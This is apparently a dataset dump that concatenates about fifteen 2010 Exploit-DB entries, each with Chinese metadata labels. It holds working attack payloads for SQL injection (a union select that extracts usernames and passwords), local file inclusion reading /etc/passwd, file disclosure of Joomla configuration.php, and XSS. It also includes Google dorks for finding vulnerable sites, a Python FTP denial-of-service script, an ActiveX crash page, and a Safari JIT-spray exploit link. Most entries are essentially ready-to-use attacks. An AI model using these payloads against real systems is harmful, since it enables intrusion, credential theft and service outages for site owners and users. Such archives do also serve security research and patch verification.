QLWD/code_shield huggingface dataset:
标题: Palo Alto Network Vulnerability - Cross-Site Scripting EDB-ID: 12660 CVE: 2010-0475 类型: WEBAPPS 平台: HARDWARE 发布日期: 2010-05-19 漏洞利用脚本: Palo Alto Network Vulnerability - Cross-Site Scripting (XSS)
------------------------------

Class: Cross-Site Scripting (XSS) Vulnerability
*CVE: CVE-2010-0475 *
*Remote: Yes
Local: Yes
Published: May 11, 2010 08:30AM *
Timeline:Submission to MITRE: 1/18/2010
Vendor Contact: 2/18/2010
Vendor Response: 2/18/2010
Patch Available: 5/2010 Patched in maintenance releases (3.1.1 & 3.0.9)
*Credit: Jeromie Jackson CISSP, CISM*
        COBIT & ITIL Certified
        President- San Diego Open Web Application Security Project (OWASP)
        Vice President- San Diego Information Audit & Control Association
(ISACA)
        SANS Mentor
        LinkedIn: www.linkedin.com/in/securityassessment
        Blog: www.JeromieJackson.com
        Twitter: www.twitter.com/Security_Sifu

Validated Vulnerable:
   Latest Version Per December 31, 2009

Discussion:

A Stored Cross-Site Scripting (XSS) vulnerability was found within the Palo
Alto interface. By crafting a URL that includes XSS code it is possible to
inject malicious data, redirect the user to a bogus replica of the real
website, or other nefarious activity.

Exploit:
Single Line working-
https://10.32.5.223:443/esp/editUser.esp?mode=edit&origusername=test&deviceC=localhost.localdomain&vsysC=localhost.localdomain%2Fvsys1&vsys=&profile=&cfgchange=&opasswd=&tpasswd=********&cpasswd=********&role=vsysadmin


&admin-role=%5Bobject+Object%5D&bSubmit=O

WORKING FOR REDIRECT TO LOAD cookies into URL.

https://10.32.5.223:443/esp/editUser.esp?mode=edit&origusername=test&deviceC=localhost.localdomain&vsysC=localhost.localdomain%2Fvsys1&vsys=&profile=&cfgchange=&opasswd=&tpasswd=********&cpasswd=********&role=vsysadmin&admin-role=%5Bobject+Object%5D&bSubmit=O

Solution:
A patch will be required from the vendor. It is recommended a routine to
sanitize user input be consistently implemented throughout the application
to mitigate other such occurrences within the application.

References:
OWASP Cross-Site Scripting (XSS) Attack Discussion
Rsnake's Cross-Site Scripting (XSS) Attack Cheat sheet URL: https://www.exploit-db.com/exploits/12660
标题: JE CMS 1.1 - SQL Injection EDB-ID: 12641 CVE: 2010-2047 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-17 漏洞利用脚本: ==========================================================================================================================================================


  [o] JE CMS SQL Injection Vulnerability
 
       Software : JE CMS version 1.1
       Vendor   : http://joenasejes.cz.cc/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[dot]antisecurity[dot]org
       Home     : http://antisecurity.org/


==========================================================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?jepage=viewcategory&categoryid=[sql]


  [o] PoC

       http://localhost/index.php?jepage=viewcategory&categoryid=84+and+1=2+union+all+select+1,group_concat(username,0x3a,password),3,4,5,6+from+users--


==========================================================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke
       ArRay bjork xmazinha & all people in #evilc0de [at] irc.byroe.net


==========================================================================================================================================================


  [o] May 17 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12641
标题: Joomla! Component MS Comment 0.8.0b - Local File Inclusion EDB-ID: 12611 CVE: 2010-2050 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-15 漏洞利用脚本: [!]===========================================================================[!]

[~] Joomla Component MS Comment LFI Vulnerability 
[~] Author : Xr0b0t (nyco.danis@gmail.com)
[~] Homepage : http://www.indonesiancoder.com | http://Xr0b0t.name | http://Malangcyber.com
[~] Date : 16 Mei, 2010

[!]===========================================================================[!]

[ Software Information ]

[+] Price : free
[+] Vulnerability : LFI
[+] Dork : inurl:"com_mscomment" ;)
[+] Version : 0.8.0b maybe lower also affected 

[!]===========================================================================[!]

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_mscomment&controller=[INDONESIANCODER]

[ XpL ]

../../../../../../../../../../../../../../../etc/passwd%00


etc etc etc ;]

[!]===========================================================================[!]

[ Thx TO ]

[+] kaMtiEz dulurku seng paling ganteng, endi kok ra rene
[+] INDONESIAN CODER TEAM IndonesianHacker Malang CYber CREW Magelang Cyber
[+] tukulesto,M3NW5,arianom,N4CK0,abah_benu,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck,Geni212
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31,Yur4kha


[ NOTE ]

[+] OJOK JOTOS2an YO ..
[+] Minggir semua Arumbia Team Mau LEwat ;)
[+] MBEM : lup u :">

[ QUOTE ]

[+] INDONESIANCODER still r0x...
[+] ARUmBIA TEam Was Here Cuy MINGIR Kabeh KAte lewat ..
[+] Malang Cyber Crew & Magelang Cyber Community URL: https://www.exploit-db.com/exploits/12611
标题: Apple Safari 4.0.5 - 'parent.close()' Memory Corruption (ASLR + DEP Bypass) EDB-ID: 12614 CVE: 2010-1939 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-15 漏洞利用脚本: Download:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/12614.zip (safari_parent_close_sintsov.zip)

Unzip and run START.htm

This exploit use JIT-SPRAY for DEP and ASLR bypass.
jit-shellcode: system("notepad")

0day.html - use 0x09090101 address for CALL JITed shellcode.


START.htm -> iff.htm -> if1.htm -> 0day.html
| |
| |
JIT-SPRAY parent.close();
0x09090101 - JITed * ESI=0x09090101
shellcode * CALL ESI

By Alexey Sintsov
from
Digital Security Research Group

[www.dsecrg.com] URL: https://www.exploit-db.com/exploits/12614
标题: VMware View Portal 3.1 - Cross-Site Scripting EDB-ID: 12610 CVE: 2010-1143 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-05-14 漏洞利用脚本: [DSECRG-09-058] Vmware View - XSS vulnerability

Source:http://www.dsecrg.com/pages/vul/show.php?id=158

Linked XSS in VMware Portal

Digital Security Research Group [DSecRG] Advisory DSECRG-09-058

Application: VMware View Portal
Versions Affected: <= 3.1
Vendor URL: http://www.vmware.com
Bugs: XSS
Exploits: YES
Reported: 07.09.2009
Vendor response: 21.09.2009
Date of Public Advisory: 05.05.2010
CVE: CVE-2010-1143
Author: Alexey Sintsov
from Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)


Description
***********

Linked XSS in VMware Portal


Details
*******

An attacker may inject JavaScript code into url.

Example:
********

https://[VMware_Portal_IP]/not_a_real_page<SCRIPT>alert(/XSS/.source)</SCRIPT>

Solution
********
Update VmWare View to version 3.1.3

References
**********
http://dsecrg.com/pages/vul/show.php?id=149
http://lists.vmware.com/pipermail/security-announce/2010/000092.html


About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact: research [at] dsecrg [dot]com
http://www.dsecrg.com URL: https://www.exploit-db.com/exploits/12610
标题: Joomla! Component simpledownload 0.9.5 - Local File Disclosure EDB-ID: 12623 CVE: 2010-2122 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-16 漏洞利用脚本: [!]==========================================[!]

[~] Joomla Component simpledownload Remote File Disclouse
[~] Author : altbta (l_9@hotmail.com)
[~] Homepage : [ v4-team.com ] & [ xp10.me ]
[~] Date : 16 Mei, 2010

[!]==========================================[!]

[ Software Information ]

[+] Vendor : http://joomla.joelrowley.com/
[+] Price : free
[+] Vulnerability : Remote File Disclouse
[+] Dork : inurl:"com_simpledownload" ;)
[+] Version : 0.9.5 maybe lower also affected

[!]==========================================[!]

===[ Exploit ]===

http://site/index.php?option=com_simpledownload&task=download&fileid=[file]
http://site/index.php?option=com_simpledownload&task=download&fileid=/configuration.php

[!]=========~~{  altbta }~~=========[!]

RoMaNcYxHaCkEr & sad hacker & ab0-3th4b & Mr.SaFa7 & Mn7oS & V ! V 3
Evil-Cod3r & asL-Sabia & ! Dr.www ! & MaKKaWi & ZaIdOoHxHaCkEr & al.bito
SnIpEr.SiTeS & &#1575;&#1576;&#1608; &#1575;&#1604;&#1580;&#1575;&#1586;&#1610; & &#1575;&#1608;&#1585;&#1606;&#1580; &#1605;&#1575;&#1606; URL: https://www.exploit-db.com/exploits/12623
标题: Joomla! Component simpledownload 0.9.5 - Local File Inclusion EDB-ID: 12618 CVE: 2010-2122 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-16 漏洞利用脚本: [!]===========================================================================[!]

[~] Joomla Component simpledownload LFI Vulnerability 
[~] Author : Xr0b0t (nyco.danis@gmail.com)
[~] Homepage : http://www.indonesiancoder.com | http://Xr0b0t.name | http://Malangcyber.com
[~] Date : 16 Mei, 2010

[!]===========================================================================[!]

[ Software Information ]

[+] Vendor : http://joomla.joelrowley.com/
[+] Price : free
[+] Vulnerability : LFI
[+] Dork : inurl:"com_simpledownload" ;)
[+] Version : 0.9.5 maybe lower also affected 

[!]===========================================================================[!]

[ Vulnerable File ]
    http://127.0.0.1//index.php?option=com_simpledownload&controller=[LFI BY ARUMBIA]


[ XpL ]

    http://127.0.0.1//index.php?option=com_simpledownload&controller=../../../../../../../../../../../../../../../etc/passwd%00


[!]===========================================================================[!]

[ Thx TO ]

[+] kaMtiEz Ndang Rene...
[+] INDONESIAN CODER TEAM IndonesianHacker Malang CYber CREW Magelang Cyber
[+] tukulesto,M3NW5,arianom,N4CK0,abah_benu,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31,Yur4kha,Geni212


[ NOTE ]

[+] OJOK JOTOS2an YO ..
[+] Minggir semua Arumbia Team Mau LEwat ;)
[+] MBEM : lup u :">

[ QUOTE ]

[+] INDONESIANCODER still r0x...
[+] ARUmBIA TEam Was Here Cuy MINGIR Kabeh KAte lewat ..
[+] Malang Cyber Crew & Magelang Cyber Community URL: https://www.exploit-db.com/exploits/12618
标题: The iceberg - 'Content Management System' SQL Injection EDB-ID: 12620 CVE: 2010-2016 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-16 漏洞利用脚本: ==========================================================
The iceberg 'Content Management System' SQL Injection Vulnerability
==========================================================

# The iceberg 'Content Management System' SQL Injection Vulnerability
# Homepage    : http://www.imagetraders.com.au
# Discovered  : by cyberlog
# Dork        : details.php?p_id=
# Dork        : 'Design & SEO by Image Traders Pty Ltd'
# Exploit     : http://[target]/details.php?p_id=[SQL Injection]
# Thanks      : r0073r,adhietslank, k1n9k0ng, cr4wl3r,cah_gemblunkz,                 jayoes,thesims,setiawan,irvian,EA_Angel,BlueSpy,SoEy,A-technique,Jantap,KiLL                        SarifJedul,wiro gendeng,Letjen,ridho_bugs,Ryan Kabrutz,Mathewsa.k.a Nyubicrew
# My Site     : http://sekuritionline.net
# Channel     : #sekuritionline
#special to Mama Sri Rahayu, Member& Staff Sekuritonline, C0li a.k.a antisecurity [ pinjem script perl-na ] :), 
Inj3ct0r Now Brothers with Sekuritionline
==============================================
We never die !!!! indonesian Underground Community
!!!!! anjing buat oknum Pemerintah yang suka nilep uang rakyat !!!
KacrUt I L0v3 U :P
Give me NOCAN Brothers :P
am nt hacker just Lik3 Syst3m S3curity URL: https://www.exploit-db.com/exploits/12620
标题: Joomla! Component JE Quotation Form 1.0b1 - Local File Inclusion EDB-ID: 12607 CVE: 2010-2128 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-14 漏洞利用脚本: ####################################################################
>>>>> Author : altbta
>>>>> Email  : [l_9[at]hotmail[at]com]
>>>>> Script : Joomla Component com_jequoteform
>>>>> Bug Type : Local File Inclusion [LFI]
>>>>> Dork : inurl:"index.php?option=com_jequoteform"
>>>>> DoWnLoAd :
http://joomlaextensions.co.in/free-download/doc_download/11-je-quotation-form.html
####################################################################

===[ Exploit ]===

http://site/index.php?option=com_jequoteform&view=[LFI]
http://site/index.php?option=com_jequoteform&view=../../../../../../etc/passwd%00

===[ Example ]===

http://[site]/index.php?option=com_jequoteform&view=../../../../../../etc/passwd%00

[~]##########~~{  altbta }~~##########[~]

RoMaNcYxHaCkEr & sad hacker & ab0-3th4b & Mr.SaFa7 & Mn7oS & V ! V 3
Evil-Cod3r & asL-Sabia & ! Dr.www ! & MaKKaWi & ZaIdOoHxHaCkEr

home : [ v4-team.com ] & [ xp10.me ] URL: https://www.exploit-db.com/exploits/12607
标题: Press Release Script - 'page.php?id' SQL Injection EDB-ID: 12597 CVE: 2010-5047 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-14 漏洞利用脚本: ######################{In The Name Of Allah The Mercifull} ######################
[~] Tybe: SQL Injection Vulnerabilities 
[~] Vendor: www.v-eva.com 
[+] Software: Press Release Script  
[+] author: ((R3d-D3v!L)) 
[~] 
[+] TEAM: ArAB!AN !NFORMAT!ON SeCuR!TY ---->((4.!.5)) 
[~] 
[?] contact: X[at]hotmail.co.jp 
[-] 
[?] Date: 14.Jan.2010 
[?] T!ME: 05:15 am GMT 
[?] Home: © Offensive Security 
[?] 

====================================================================================== 
# SQL Injection # (page.php id)
====================================================================================== 
[*] Err0r C0N50L3: 
http://127.0.0.1/page.php?id={EV!L EXPLO!T} 

[*] {EV!L EXPLO!T} 

page.php?id=-4+union+all+select+1,@@version,3,4--

[~]-----------------------------{((MAGOUSH-87))}------------------------------------------------# 
# 
[~] Greetz tO: [dolly &MERNA &DEV!L_MODY &po!S!ON Sc0rp!0N &JASM!N &MARWA & mAG0ush-1987] # 
# 
[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ # 
# 
[~] spechial thanks : ((HITLER JEDDAH & S!R TOTT! & DR.DAShER)) # 
# 
[?]spechial SupP0RT : MY M!ND # © Offensive Security # 
# 
[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L<--M2Z--->JUPA<---aNd--->Devil ro0t)) # 
# 
[~]spechial FR!ND: 0r45hy # 
# 
[~] !'M 4R48!4N 3XPL0!73R. # 
# 
[~]{[(D!R 4ll 0R D!E)]}; # 
# 
[~]--------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/12597
标题: TYPSoft FTP Server 1.10 - 'RETR' Denial of Service (1) EDB-ID: 12604 CVE: 2005-3294 类型: DOS 平台: WINDOWS 发布日期: 2010-05-14 漏洞利用脚本: # Tested on: Windows XP, SP2 (EN)

#!/usr/bin/python
print "\n#################################################################"
print "##                      RedTeam Security                       ##"
print "##             TYPSoft FTP Server RETR Command DoS             ##"
print "##                        Version 1.10                         ##"
print "##                                                             ##"
print "##                     Jeremiah Talamantes                     ##"
print "##                   labs@redteamsecure.com                    ##"
print "################################################################# \n"

import socket
import sys

# Description:
# RETR command overflow with no PORT specified

# Define the exploit's usage
def Usage():
    print ("Usage: scriptname.py <IP> <username> <password>\n")
    print ("\n\nCredit: Jeremiah Talamantes")
    print ("RedTeam Security : www.redteamsecure.com/labs\n")

# Buffer
buffer="AAAA" * 496

def exploit(hostname,username,password):
 i=0
 while i < 10:
  i=i+1
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  try:
   sock.connect((hostname, 21))
  except:
   print ("Error: unable to connect to host")
   sys.exit(1)
  r=sock.recv(1024)
  print "[+] " + r + ": iteration number:  ",i
  sock.send("USER " + username + "\r\n")
  r=sock.recv(1024)
  sock.send("PASS " + password + "\r\n")
  r=sock.recv(1024)
  sock.send("RETR " + buffer + "\r\n")
  sock.close()
  
if len(sys.argv) <> 4:
    Usage()
    sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    password=sys.argv[3]
    exploit(hostname,username,password)
    sys.exit(0)

# End URL: https://www.exploit-db.com/exploits/12604
标题: JE Ajax Event Calendar - Local File Inclusion EDB-ID: 12598 CVE: 2010-2129 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-14 漏洞利用脚本: # Exploit Title: JE Ajax Event Calendar Local File Inclusion Vulnerability
# Date: 14.05.2010
# Author: Valentin
# Category: webapps/0day
# Version: 1.0.3
# Tested on: 
# CVE :  
# Code : 


[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = JE Ajax Event Calendar Local File Inclusion Vulnerability
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = JE Ajax event calendar
Vendor = Harmis Technology
Vendor Website = http://joomlaextensions.co.in/
Affected Version(s) = 1.0.3

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> #1 Vulnerability
Type = Local File Inclusion
Example URI = index.php?option=com_jeajaxeventcalendar&view=../../../../../../etc/passwd%00


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 14.05.2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!
<3 packetstormsecurity.org!


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::] URL: https://www.exploit-db.com/exploits/12598
标题: Joomla! Component FDione Form Wizard 1.0.2 - Local File Inclusion EDB-ID: 12595 CVE: 2010-2045 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-13 漏洞利用脚本: -----------------------------------------------------------------------------------------
Joomla Component FDione Form Wizard lfi vulnerability
-----------------------------------------------------------------------------------------

Author  : Chip D3 Bi0s
Email  : chipdebios[alt+64]gmail.com
Date  : 2010-05-13
Impact  : Exposure of sensitive information
Where  : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application    : Dione Form Wizard
version        : 1.0.2
Developer      : Dione Soft Company
License        : GPL            type  : Commercial
price  : $20
Date Added     : 9 may 2010
Download       : http://dionesoft.com/products/dione_form_wizard/product.html

Description    :

Dione Form Wizard is Joomla! component allows website administrator to create web forms easily through simple drag-and-drop editor.

This product gives you the power to create forms that run inside Joomla without requiring knowledge of HTML, MySQL and PHP.

The main idea of the Dione Form Wizard is to give a tool that is enabling you to create a dynamic forms in minutes within your Joomla! CMS.
---------------------------------------------------------------------------

Poc/Exploit:
~~~~~~~~~

http://127.0.0.1/[path]/index.php?option=com_dioneformwizard&controller=[LFI]%00



+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++ URL: https://www.exploit-db.com/exploits/12595
标题: IncrediMail - 'ImShExtU.dll' ActiveX Memory Corruption EDB-ID: 12605 CVE: 2007-1683 类型: DOS 平台: WINDOWS 发布日期: 2010-05-14 漏洞利用脚本: <html>
<!--
        |------------------------------------------------------------------|
        |                         __               __                      |
        |   _________  ________  / /___ _____     / /____  ____ _____ ___  |
        |  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |
        | / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |
        | \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |
        |                                                                  |
        |                                       http://www.corelan.be:8800 |
        |                                              security@corelan.be |
        |                                                                  |
        |-------------------------------------------------[ EIP Hunters ]--|

# Software      : Incredimail (ImShExtU.dll)
# Reference     : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-038
# Author        : Lincoln
# OS            : Windows
# Tested on     : XP SP3 En (VirtualBox)
# Type of vuln  : SEH
# Greetz to     : Corelan Security Team 
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.
#
#0013F1A4   41414141  AAAA
#0013F1A8   41414141  AAAA
#0013F1AC   41414141  AAAA  Pointer to next SEH record
#0013F1B0   41414141  AAAA  SE handler
#0013F1B4   41414141  AAAA
#0013F1B8   41414141  AAAA
#
-->

<object classid='clsid:F8984111-38B6-11D5-8725-0050DA2761C4' id='target' ></object>
<script language='vbscript'>


crash=String(25000, "A")
target.DoWebMenuAction crash


</script>
<b><center>IncrediMail ImShExtU.dll ActiveX Memory Corruption</b></center>
</html> URL: https://www.exploit-db.com/exploits/12605
标题: Joomla! Component JE Job 1.0 - Local File Inclusion EDB-ID: 12601 CVE: 2010-5028 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-14 漏洞利用脚本: # Exploit Title: Joomla Component JE Job Local File Inclusion Vulnerability
# Date: 14.05.2010
# Author: Valentin
# Category: webapps/0day
# Version: unknown/latest one
# Tested on: 
# CVE :  
# Code : 


[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = Joomla Component JE Job Local File Inclusion Vulnerability
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = JE Job Component
Vendor = Harmis Technology
Vendor Website = http://joomlaextensions.co.in/
Affected Version(s) = unknown/latest one

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> #1 Vulnerability
Type = Local File Inclusion
Example URI = index.php?option=com_jejob&view=../../../../../../etc/passwd%00


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 14.05.2010

Triggering MySQL errors and injecting chars through the URL is possible.
Play around a little bit, e.g.
index.php?option=com_jejob&view=item_detail&itemid=XX&Itemid=[CODE]
index.php?option=com_jejob&view=item&catid=[TRIGGER ERROR]
and you will see that your input affects many parts of the component. Maybe you
can use this bug for your advantage.


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!
<3 packetstormsecurity.org!


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::] URL: https://www.exploit-db.com/exploits/12601